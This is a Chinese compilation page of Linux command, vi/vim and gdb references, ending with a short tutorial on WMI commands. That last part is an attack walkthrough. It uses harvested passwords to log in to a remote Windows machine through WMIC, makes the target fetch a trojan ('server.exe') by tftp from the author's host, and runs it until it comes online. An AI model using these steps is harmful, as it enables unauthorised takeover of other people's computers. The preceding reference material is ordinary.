Linux常用命令及与vi、gdb这两个命令的运用

时间:2022-10-05 07:35:00 其他范文 收藏本文 下载本文

Linux常用命令及与vi、gdb这两个命令的运用(共5篇)由网友“星蝶”投稿提供,以下是小编帮大家整理后的Linux常用命令及与vi、gdb这两个命令的运用,仅供参考,欢迎大家阅读。

Linux常用命令及与vi、gdb这两个命令的运用

篇1:Linux常用命令及与vi、gdb这两个命令的运用

1.ls 命令

ls以默认方式显示当前目录文件列表

ls -a显示所有文件包括隐藏文件

ls -l显示文件属性,包括大小,日期,符号连接,是否可读写及是否可执行

2.cd 命令

cd dir切换到当前目录下的dir目录

cd ..切换到上一级目录

cd ~切换到用户目录,比如是root用户,则切换到/root下

3.rm 命令

rm file删除某一个文件

rm -rf dir删除当前目录下叫dir的整个目录

4.cp 命令

cp source target将文件source复制为target

cp -av source_dir target_dir将整个目录复制,两目录完全一样

cp -fr source_dir target_dir将整个目录复制,并且是以非链接方式复制,当source目录带有符号链接时,两个目录不相同

5.mv 命令

mv source target将文件或者目录source更名为target

6.diff 命令

diff -ruN dir1 dir2 >

比较目录1与目录2中的文件

生成补丁文件

diff -ruN dir1 dir2 >dir.diff

进入目录1打补丁

patch -p1 < ../dir.diff

7.echo 命令

echo message显示一串字符

8.cat 命令

cat file显示文件的内容, 和DOS的type相同

cat file | more显示文件的内容并传输到more程序实现分布显示,使用命令less file可实现相同的功能

more分布命令,一般通过管道将内容传给它,如 ls | more

9.du 命令

du计算当前目录的容量

du -sm /root计算/root目录的容量并以M为单位

10.find 命令

find -name

file在/path目录下查找看是否有文件file

11.grep 命令

grep -r “chars” ./在当前目录的所有文件查找字串chars -r 表示递归查找子目录

Ctrl+c退出递归

12.vi 的使用

vi file编辑文件file

vi 原基本使用及命令:

vi 分为编辑状态和命令状态。输入命令要先按ESC,退出编辑状态, 然后输入命令。

常用命令有:

:x (退出)

:x! (退出不保存)

:w (保存文件)

:w! (不询问方式写入文件)

:r file (读文件file)

:%s/oldchars/newchars/g (将所有字串oldchars换成newchars)

i进入编辑插入状态

ESC退出编辑状态

13.man 命令

man ls读取关于ls命令的帮

14.启动关闭计算机命令

reboot重新启动计算机

halt关闭计算机

init 0关闭所有应用程序和服务, 进入纯净的操作环境

init 1重新启动应用及服务

init 6重新启动计算机

15.tar 命令

tar -xfzv file.tgz将文件file.tgz解压

tar -zcvf file.tgz将文件或目录压缩为file.tgz

gzip directory.tar将覆盖原来文件生成压缩的directory.tar.gz

gunzip directory.tar.gz覆盖原文件解压生成不压缩的dirrectory.tar 上一页1234下一页共4页

16.dmesg, uname 命令

dmesg显示kernel启动及驱动装载信息

uname -a 显示操作系统的类型

17.string 命令

string file显示file 文件中的ASCII字符内容

18.rpm 命令

rpm -ihv program.rpm安装程序 program 并显示安装进程

19.文件目录管理命令

su root切换到超级用户

chmod a+x file将file 文件设置为可执行, 脚本类文件一定要这样设置一下,否则得用bash file才能执行

chmod 666 file将文件file设置为可读写

chown user /dir将/dir目录设置为user所有

20.mknod 命令

mknod /dev/hda1 b 3 1创建块设备hda1, 主设备号为3, 从设备号为1, 即master硬盘的第一个分区

mknod /dev/tty1 c 4 1创建字符设备tty1, 主设备号为4, 从设备号为1, 即第一个tty终端

touch /tmp/running在/tmp下创建一个临时文件running, 重新启动后消失

21.磁盘管理 的命令

fdisk /dev/hda就像执行了dos的fdisk一样

mount -t ext2 /dev/hda1 /mnt把/dev/hda1装载到/mnt目录

df显示文件系统装载的相关信息

mount -t nfs 192.168.1.1:/sharedir /mnt将nfs服务的共享目录sharedir加载到/mnt/nfs目录

umount /mnt将/mnt目录卸载,/mnt目录必须处于空闲状态

sync刷新缓冲区, 使内容与磁盘同步

mkfs.ext2 /dev/hda1格式化/dev/hda1为ext2格式

dd if=/dev/zero f=root.ram bs=1024, count=1024生成一个大小为1M的块设备, 可以把它当作硬盘的一个分区来用

22.程序开发有关命令

gcc hello.c -o hello将hello.c编译成为名为hello的二进制执行文件

ldd program显示程序使用了哪些库

23.系统有关命令

ps显示当前系统进程信息

ps -ef显示系统所有进程信息

kill -9 500将进程号为500的程序杀死

top显示系统进程的活动情况, 按占CPU资源百分比来分

free显示系统内在及swap使用情况

time program在program程序结束后, 将计算出program运行反使用的时间

网络命令

ifconfig eth0 192.168.1.2捆绑网卡1的IP地址为192.168.1.2

24.登录网络服务器

telnet 192.168.1.1登陆IP为192.168.1.1的telnet服务器

ftp 192.168.1.1登陆到ftp服务器

篇2:常用的vi/vim命令

vi/vim命令很复杂、很强大,这里分类介绍一些比较常用的,可以满足一般需要的命令,

移动光标:

- 左移:h

- 下移:j

- 上移:k

- 右移:l

- 翻页:ctrl f, ctrl b

插入:

- 在光标位置插入:i

- 在行末插入:A

- 在下一行插入新行:o

编辑:

- 撤销修改:u

- 替换光标所在的字符:r

删除:

- 删除光标所在字符:x

- 删除光标之后的单词剩余部分:dw

- 删除光标之后的该行部分:d$ / D

- 删除当前行:dd

- 删除n行:ndd

- 删除行尾的换行符:J

保存、退出:

- 保存::w

- 保存并退出::x / :wq

- 退出/强行退出::q / :q!

查找、替换:

- 替换字符串(把所有的str1替换为str2)::%s/str1/str2/g

- 搜索某字符串:/str

- 搜索上一个、下一个:n,N

篇3:常用的 gdb 命令Unix系统

常用的 gdb 命令 命令 解释 break NUM 在指定的行上设置断点, bt 显示所有的调用栈

常用的 gdb 命令

命令                       解释

break NUM              在指定的行上设置断点。

bt                     显示所有的调用栈帧。该命令可用来显示函数的调用顺序。

clear                  删除设置在特定源文件、特定行上的断点。其用法为:clear FILENAME:NUM。

continue               继续执行正在调试的程序。该命令用在程序由于处理信号或断点而

导致停止运行时。

display EXPR           每次程序停止后显示表达式的值。表达式由程序定义的变量组成。

file FILE              装载指定的可执行文件进行调试。

help NAME              显示指定命令的帮助信息。

info break             显示当前断点清单,包括到达断点处的次数等,

info files             显示被调试文件的详细信息。

info func              显示所有的函数名称。

info local             显示当函数中的局部变量信息。

info prog              显示被调试程序的执行状态。

info var               显示所有的全局和静态变量名称。

kill                   终止正被调试的程序。

list                   显示源代码段。

make                   在不退出 gdb 的情况下运行 make 工具。

next                   在不单步执行进入其他函数的情况下,向前执行一行源代码。

print EXPR             显示表达式 EXPR 的值。

原文转自:www.ltesting.net

篇4:linux下vi编辑器命令

功能最强在的编辑器——vi

vi是所有UNIX系统都会提供的屏幕编辑器,它提供了一个视窗设备,通过它可以编辑文件,当然,对UNIX系统略有所知的人,

或多或少都觉得vi超级难用,但vi是最基本的编辑器,所以希望读者能好好把它学起来,以后在UNIX世界里必将畅行无阻、

游刃有余,因为其他几种文本处理器并非UNIX标准配备。说不定别人的Linux机器没安装joe或pico,如果您不会vi,那您可能就没辄了。

vi的基本概念

基本上vi可分为三种操作状态,分别是命令模式(Command mode)、插入模式(Insert mode)和底线命令模式(Last line mode),

各模式的功能区分如下:

1. Comand mode:控制屏幕光标的移动,字符或光标的删除,移动复制某区段及进入Insert mode下,或者到Last line mode。

2. Insert mode:唯有在Insert mode下,才可做文字数据输入,按Esc等可回到Comand mode。

3. Last line mode:将储存文件或离开编辑器,也可设置编辑环境,如寻找字符串、列出行号等。

不过可以把vi简化成两个模式,即是将Last line mode也算入Command mode,把vi分成Command 和Insert mode。

vi的基本操作

?进入vi

在系统提示符号输入vi及文件名称后,即可进入vi全屏幕编辑画面:

$ vi testfile

有一点要特别注意,就是您进入vi之后是处于“Command mode”下,您要切换到Insert mode才能输入文字。

初次用vi的用户都会想先用上下左右键移动光标,结果电脑一直叫,把自己气个半死,所以进入vi后,先不要乱动,

转换入Insert后再说。?切换至Insert mode编辑文件在Command mode下按‘i’、‘a’或‘o’三键就可进入Insert mode。

这时候您就可以开始输入文字了。

i: 插入,从目前光标所在之处插入所输入的文字。

a: 增加,目前光标所在的下一个字开始输入文字。

o: 插入新的一行,从行首开始输入文字。

?Insert的切换→Command mode,按Esc键

您目前处于Insert mode,您就只能一直打字。假如您发现打错字了,想用光标键往回移动,将该字删除,

就要按ESC键转换回Command mode,再删除文字。

?离开vi及存文件

在Command mode下,可按冒号“:”键入入Last line mode,例如:

:w filename (输入“w filename”,将文章存入指定的文件名filename)

:wq (输入“wq”,因为进入之时已经指定文件名testfile,所以会写入testfile并离开vi)

:q! (输入“q!”,强制离开并放弃编辑的文件)

Command mode功能键列表

在介绍command mode指令的时后,指令后面加上“常用”字眼的功能键,表示比较常用的vi指令,

请读者您一定要学会、记住。

(1)I、a、o切换进入Insert mode。[超级常用]

(2)移动光标

vi可以直接用键盘上的光标键来上下左右移动,但正规的vi是用小写英文字母

h、j、k、l,分别控制光标左、下、上、右移一格。

按Ctrl+B:屏幕往后移动一页。[常用]

按Ctrl+F:屏幕往前移动一页。[常用]

按Ctrl+U:屏幕往后移动半页。

按Ctrl+D:屏幕往前移动半页。

按 0 (数字零):移动文章的开头。[常用]

按 G:移动到文章的最后。[常用]

按 w:光标跳到下个word的开头。[常用]

按 e:光标跳到下个word的字尾。

按 b:光标回到上个word的开头。

按 $:移到光标所在行的行尾。[常用]

按 ^:移到该行第一个非空白的字符。

按 0:移到该行的开头位置。[常用]

按 #:移到该行的第#个位置,例:51、121。[常用]

(3)删除文字

x:每按一次删除光标所在位置的后面一个字符。[超常用]

#x:例如,6x 表删除光标所在位置的后面6个字符。[常用]

X:大字的X,每按一次删除光标所在位置的前面一个字符。

#X:例如,20X 表删除光标所在位置的前面20个字符。

dd:删除光标所在行。[超常用]

#dd:例如,6dd表删除从光标所在的该行往下数6行之文字。[常用]

(4)复制

yw:将光标所在处到字尾的字符复制到缓冲区中。

(想在和#x、#X的功能相反)

p:将缓冲区内的字符粘贴到光标所在位置(指令‘yw’与‘p必须搭配使用)。

yy:复制光标所在行。[超常用]

p:复制单行到您想粘贴之处。(指令‘yy’与‘p’必须搭配使用)

#yy:如:6yy表示拷贝从光标所在的该行往下数6行之文字。[常用]

p:复制多行到您想粘贴之处。(指令‘#yy’与‘p’必须搭配使用)

“ayy:将复制行放入buffer a, vi提供buffer功能,可将常用的数据存在buffer

“ap:将放在buffer a的数据粘贴。

“b3yy:将三行数据存入buffer b。

“b3p:将存在buffer b的资料粘贴

(5)取代

r: 取代光标所在处的字符:[常用]

R:取代字符直到按Esc为止。

(6)复原(undo)上一个指令

u:假如您误操作一个指令,可以马上按u,回复到上一个操作。[超常用]

.: .可以重复执行上一次的指令。

(7)更改

cw:更改光标所在处的字到字尾$处。

c#w:例如,c3w代表更改3个字。

(8)跳至指定行

Ctrl+G:列出光标所在行的行号。

#G:例如,15G,表示移动光标至文章的第15行行首。[常用]

Last line mode下指令简介

读者您要使用Last line mode之前,请记得先按Esc键确定您已经处于Command mode下后,再按冒号“:”或“/”或“?”

三键的其中一键进入Last line mode。

1.列出行号

set nu: 输入“set nu”后,会在文章的每一行前面列出行号。

2.跳到文章的某一行

#:井号代表一个数字,在Last line mode提示符号“:”前输入数字,再按Enter就会跳到该行了,

如:15[Enter]就会跳到文章的第15行。[常用]

3.寻找字符串

/关键字:先按/,再输入您想寻找的字,如果第一次找的关键字不是您相尽可能的,可以一直按n会往下寻找到您要的关键字为止。

?关键字:先按?,再输入您想寻找的字,如果第一次找的关键字不是您想要的,可以按n会往前寻找到您要的关键字为止。

4.取代字符串

1,$s/string/replae/g:在last line mode输入“1,$s/string/replace/g”会将全文的string字符串取代为replace字符串,

其中1,$s就是指搜寻区间为文章从头至尾的意思,g则是表示全部取代不必确认。

%s/string/replace/c:同样会将全文的string字符串取代为replace字符串,和上面指令不同的地方是,%s和1,$s是相同的功能,

c则是表示要替代之前必须再次确认是否取代。

1,20s/string/replace/g:将1至20行间的string替代为relpace字符串。

5.存文件

w:在last line mode提示符号“:”前按w即可将文件存起来。[超常用]

#,# w filename:如果您想摘取文章的某一段,存成另一个文件,可用这个指令#代表行号,例如30,50 w nice,

将您正在编辑文章的第30~50行存成nice这个文件。

6.离开

q:按q就离开,有时如果无法离开vi,可搭配“!:强置离开vi,如“q!”

qw:一般建议离开时,搭配w一起使用,如此离开时还可存文件

进入vi的命令

vi filename :打开或新建文件,并将光标置于第一行首

vi +n filename :打开文件,并将光标置于第n行首

vi + filename :打开文件,并将光标置于最后一行首

vi +/pattern filename:打开文件,并将光标置于第一个与pattern匹配的串处

vi -r filename :在上次正用vi编辑时发生系统崩溃,恢复filename

vi filename....filename :打开多个文件,依次进行编辑

移动光标类命令

h :光标左移一个字符

l :光标右移一个字符

space:光标右移一个字符

Backspace:光标左移一个字符

k或Ctrl+p:光标上移一行

j或Ctrl+n :光标下移一行

Enter :光标下移一行

w或W :光标右移一个字至字首

b或B :光标左移一个字至字首

e或E :光标右移一个字至字尾

) :光标移至句尾

( :光标移至句首

}:光标移至段落开头

{:光标移至段落结尾

nG:光标移至第n行首

n+:光标下移n行

n-:光标上移n行

n$:光标移至第n行尾

H :光标移至屏幕顶行

M :光标移至屏幕中间行

L :光标移至屏幕最后行

0:(注意是数字零)光标移至当前行首

$:光标移至当前行尾

屏幕翻滚类命令

Ctrl+u:向文件首翻半屏

Ctrl+d:向文件尾翻半屏

Ctrl+f:向文件尾翻一屏

Ctrl+b;向文件首翻一屏

nz:将第n行滚至屏幕顶部,不指定n时将当前行滚至屏幕顶部。

插入文本类命令

i :在光标前

I :在当前行首

a:光标后

A:在当前行尾

o:在当前行之下新开一行

O:在当前行之上新开一行

r:替换当前字符

R:替换当前字符及其后的字符,直至按ESC键

s:从当前光标位置处开始,以输入的文本替代指定数目的字符

S:删除指定数目的行,并以所输入文本代替之

ncw或nCW:修改指定数目的字

nCC:修改指定数目的行

删除命令

ndw或ndW:删除光标处开始及其后的n-1个字

do:删至行首

d$:删至行尾

ndd:删除当前行及其后n-1行

x或X:删除一个字符,x删除光标后的,而X删除光标前的

Ctrl+u:删除输入方式下所输入的文本

搜索及替换命令

/pattern:从光标开始处向文件尾搜索pattern

?pattern:从光标开始处向文件首搜索pattern

n:在同一方向重复上一次搜索命令

N:在反方向上重复上一次搜索命令

:s/p1/p2/g:将当前行中所有p1均用p2替代

:n1,n2s/p1/p2/g:将第n1至n2行中所有p1均用p2替代

:g/p1/s//p2/g:将文件中所有p1均用p2替换

选项设置

all:列出所有选项设置情况

term:设置终端类型

ignorance:在搜索中忽略大小写

list:显示制表位(Ctrl+I)和行尾标志($)

number:显示行号

report:显示由面向行的命令修改过的数目

terse:显示简短的警告信息

warn:在转到别的文件时若没保存当前文件则显示NO write信息

nomagic:允许在搜索模式中,使用前面不带“”的特殊字符

nowrapscan:禁止vi在搜索到达文件两端时,又从另一端开始

mesg:允许vi显示其他用户用write写到自己终端上的信息

最后行方式命令

:n1,n2 co n3:将n1行到n2行之间的内容拷贝到第n3行下

:n1,n2 m n3:将n1行到n2行之间的内容移至到第n3行下

:n1,n2 d :将n1行到n2行之间的内容删除

:w :保存当前文件

:e filename:打开文件filename进行编辑

:x:保存当前文件并退出

:q:退出vi

:q!:不保存文件并退出vi

:!command:执行shell命令command

:n1,n2 w!command:将文件中n1行至n2行的内容作为command的输入并执行之,若不指定n1,n2,则表示将整个文件内容作为command的输入

:r!command:将命令command的输出结果放到当前行

寄存器操作

“?nyy:将当前行及其下n行的内容保存到寄存器?中,其中?为一个字母,n为一个数字

”?nyw:将当前行及其下n个字保存到寄存器?中,其中?为一个字母,n为一个数字

“?nyl:将当前行及其下n个字符保存到寄存器?中,其中?为一个字母,n为一个数字

”?p:取出寄存器?中的内容并将其放到光标位置处,

这里?可以是一个字母,也可以是一个数字

ndd:将当前行及其下共n行文本删除,并将所删内容放到1号删除寄存器中。

VI的使用

--------------------------------------------------------------------------------

一、插入文本

┌──┬────────────┐

│命令│描述 │

├──┼────────────┤

│i │在当前字符前插入文本 │

├──┼────────────┤

│I │在行首插入文本│

├──┼────────────┤

│a │在当前字符后添加文本 │

├──┼────────────┤

│A │在行末添加文本 │

├──┼────────────┤

│o │在当前行后面插入一空行 │

├──┼────────────┤

│O │在当前行前面插入一空行 │

├──┼────────────┤

│R │以改写方式输入文本 │

└──┴────────────┘

二、移动光标

┌─────┬───────────┐

│命令 │描述 │

├─────┼───────────┤

│j或下箭头 │向下移动一行 │

├─────┼───────────┤

│k或上箭头 │向上移动一行 │

├─────┼───────────┤

│h或左箭头 │左移一个字符 │

├─────┼───────────┤

│l或右箭头 │右移一个字符 │

├─────┼───────────┤

│w │右移一个词│

├─────┼───────────┤

│W │右移一个以空格分隔的词│

├─────┼───────────┤

│b │左移一个词│

├─────┼───────────┤

│B │左移一个以空格分隔的词│

├─────┼───────────┤

│0 │移到行首 │

│Ctrl-F │向前翻页 │

├─────┼───────────┤

│Ctrl-B │向后翻页 │

├─────┼───────────┤

│nG │到第n行 │

├─────┼───────────┤

│G │到最后一行│

└─────┴───────────┘

三、替换文本

┌─────┬──────┐

│命令 │描述 │

├─────┼──────┤

│$ │到行尾 │

├─────┼──────┤

│( │到句子的开头│

├─────┼──────┤

│) │到句子的末尾│

├─────┼──────┤

│{ │到段落的开头│

├─────┼──────┤

│} │到段落的末尾│

└─────┴──────┘

四、删除文本

┌───┬───────────┐

│命令 │描述 │

├───┼───────────┤

│r │替换一个字符│

├───┼───────────┤

│c │修改文本直到按下Esc健 │

├───┼───────────┤

│cw │修改下一个词│

├───┼───────────┤

│cnw │修改接下来的n个词 │

└───┴───────────┘

五、文本编辑

┌──┬──────────────────────┐

│命寺│描述 │

├──┼──────────────────────┤

│yy │将一行文本移到缺省缓冲区中 │

├──┼──────────────────────┤

│yn │将下一个词移到缺省缓冲区中 │

├──┼──────────────────────┤

│ynw │将后面的n个词移到缺省缓冲区中 │

├──┼──────────────────────┤

│p │如果缺省缓冲区中包含一行文本,则在当前 │

│ │行后面插入一个空行井将缺省缓冲区中的声 │

│ │容粘贴到这一行中;如果缺省缓冲区中包含 │

│ │多个词,把这些词粘贴到光标的右边. │

├──┼──────────────────────┤

│P │如果缺省缓冲区中包含一行文本,则正当前 │

│ │行前面插入一个空行井将缺省缓冲区中的内 │

│ │容粘贴到这一行中;如果缺省缓冲区中包含 │

│ │多个词,把这些词粘贴到光标的左边

└──┴──────────────────────┘

六、保存退出

┌───────────┬───────────────┐

│命令 │描述 │

├───────────┼───────────────┤

│zz │保存并退出 │

├───────────┼───────────────┤

│:w filename│写入文件│

├───────────┼───────────────┤

│:W │写入文件 │

├───────────┼───────────────┤

│:x │保存(如果当前文件修改过)并退出│

├───────────┼───────────────┤

│:q! │不保存文件,直接退出│

├───────────┼───────────────┤

│:q │退出vi│

VI常用技巧

VI命令可以说是Unix/Linux世界里最常用的编辑文件的命令了,但是因为它的命令集众多,很多人都不习惯使用它,其实您只需要掌握基本命令,然后加以灵活运用,就会发现它的优势,并会逐渐喜欢使用这种方法。本文旨在介绍VI的一些最常用命令和高级应用技巧。

一、基本命令介绍

---- 1.光标命令

k、j、h、l——上、下、左、右光标移动命令。虽然您可以在Linux中使用键盘右边的4个光标键,但是记住这4个命令还是非常有用的。这4个键正是右手在键盘上放置的基本位置。

nG——跳转命令。n为行数,该命令立即使光标跳到指定行。

Ctrl+G——光标所在位置的行数和列数报告。

w、b——使光标向前或向后跳过一个单词。

---- 2.编辑命令

i、a、r——在光标的前、后以及所在处插入字符命令(i=insert、a=append、r=replace)。

cw、dw——改变(置换)/删除光标所在处的单词的命令 (c=change、d=delete)。

x、d$、dd——删除一个字符、删除光标所在处到行尾的所有字符以及删除整行的命令。

---- 3.查找命令

---- /string、?string——从光标所在处向后或向前查找相应的字符串的命令。

---- 4.拷贝复制命令

---- yy、p——拷贝一行到剪贴板或取出剪贴板中内容的命令。

二、常见问题及应用技巧

---- 1.在一个新文件中读/etc/passwd中的内容,取出用户名部分。

---- vi file

---- :r /etc/passwd 在打开的文件file中光标所在处读入/etc/passwd

---- :%s/:.*//g 删除/etc/passwd中用户名后面的从冒号开始直到行尾的所有部分。

---- 您也可以在指定的行号后读入文件内容,例如使用命令“:3r /etc/passwd”从新文件的第3行开始读入 /etc/passwd的所有内容。

---- 我们还可以使用以下方法删掉文件中所有的空行及以#开始的注释行。

---- #cat squid.conf.default | grep -v ^$ | grep -v ^#

---- 2.在打开一个文件编辑后才知道登录的用户对该文件没有写的权限,不能存盘,需要将所做修改存入临时文件。

---- vi file

---- :w /tmp/1 保存所做的所有修改,也可以将其中的某一部分修改保存到临时文件,例如仅仅把第20~59行之间的内容存盘成文件/tmp/1,我们可以键入如下命令。

---- vi file

---- :20,59w /tmp/1

---- 3.用VI编辑一个文件,但需要删除大段的内容。

---- 首先利用编辑命令“vi file”打开文件,然后将光标移到需要删除的行处按Ctrl+G显示行号,再到结尾处再按Ctrl+G,显示文件结尾的行号。

---- :23,1045d 假定2次得到的行号为23和1045,则把这期间的内容全删除,也可以在要删除的开始行和结束行中用ma、mb命令标记,然后利用“:a,bd”命令删除。

---- 4.在整个文件的各行或某几行的行首或行尾加一些字符串。

---- vi file

---- :3,$s/^/some string / 在文件的第一行至最后一行的行首插入“some string”。

---- :%s/$/some string/g 在整个文件每一行的行尾添加“some string”。

---- :%s/string1/string2/g 在整个文件中替换“string1”成“string2”。

---- :3,7s/string1/string2/ 仅替换文件中的第3行到第7行中的“string1”成“string2”。

---- 注意: 其中s为substitute,%表示所有行,g表示global。

---- 5.同时编辑2个文件,拷贝一个文件中的文本并粘贴到另一个文件中。

---- vi file1 file2

---- yy 在文件1的光标处拷贝所在行

---- :n 切换到文件2 (n=next)

---- p 在文件2的光标所在处粘贴所拷贝的行

---- :n 切换回文件1

---- 6.替换文件中的路径。

---- 使用命令“:%s#/usr/bin#/bin#g”可以把文件中所有路径/usr/bin换成/bin。也可以使用命令“:%s//usr/bin//bin/g”实现,其中“”是转义字符,表明其后的“/”字符是具有实际意义的字符,不是分隔符。

篇5:WMI命令基础运用

IceSignet 噩`痍

HELLO! 大家好,我是IceSignet-寒   今天给菜菜讲下WMI命令的基础运用

首先,WMI命令要在WMIC控制台上执行 在CMD输入WMIC会自动安装

安装完成后是这样

下面我们要知道机器上的密码 我们用侠客来看

可以看很多密码...

点 最下面的那个 就可以看到登陆密码了 我在这里为了方便教程已经建好了

连接格式如下 :

/node:“IP地址” /user:“用户名” /password:“密码”

下面我们来搭个小型FTP服务器

配置好相关

点开始服务

在WMIC控制台利用PROCESS命令来实行CMD命令

格式如下:/PROCESS CALL CREATE “cmd命令”

把木马发过去

/PROCESS CALL CREATE “tftp -i 192.168.0.4 get server.exe”

这里的serve,

WMI命令基础运用

exe就是我们的服务端

下面来运行行服务端

/PROCESS CALL CREATE “server.exe”

等一会...

上线了

看吧

好了 就到这里了  重要的是思路...88

用Sygate4.0组建代理服务器!Windows系统

基于ARM体系的嵌入式系统BSP的程序设计

学习心得如何总结

3DSMAX学习心得总结

浅谈gdb在漏洞发掘中的使用

嵌入式实习总结

嵌入式系统的实习报告

Shell中的变量使用小结

个人嵌入式学习总结

操作系统实习报告

Linux常用命令及与vi、gdb这两个命令的运用
《Linux常用命令及与vi、gdb这两个命令的运用.doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档

【Linux常用命令及与vi、gdb这两个命令的运用(共5篇)】相关文章:

系统测试总结2023-02-17

网络管理员协议书2022-05-07

Linux下查看文件和文件夹大小命令linux操作系统2022-12-31

漫谈如何学习操作系统原理2023-02-23

Linux不完全手册2023-08-05

内核完全注释1makefileUnix系统2022-04-30

软件老师的自我介绍2023-03-17

计算机科学技术英文求职信2022-05-28

广告设计类面试自我介绍2022-09-23

学习计划软件2023-05-05

点击下载本文文档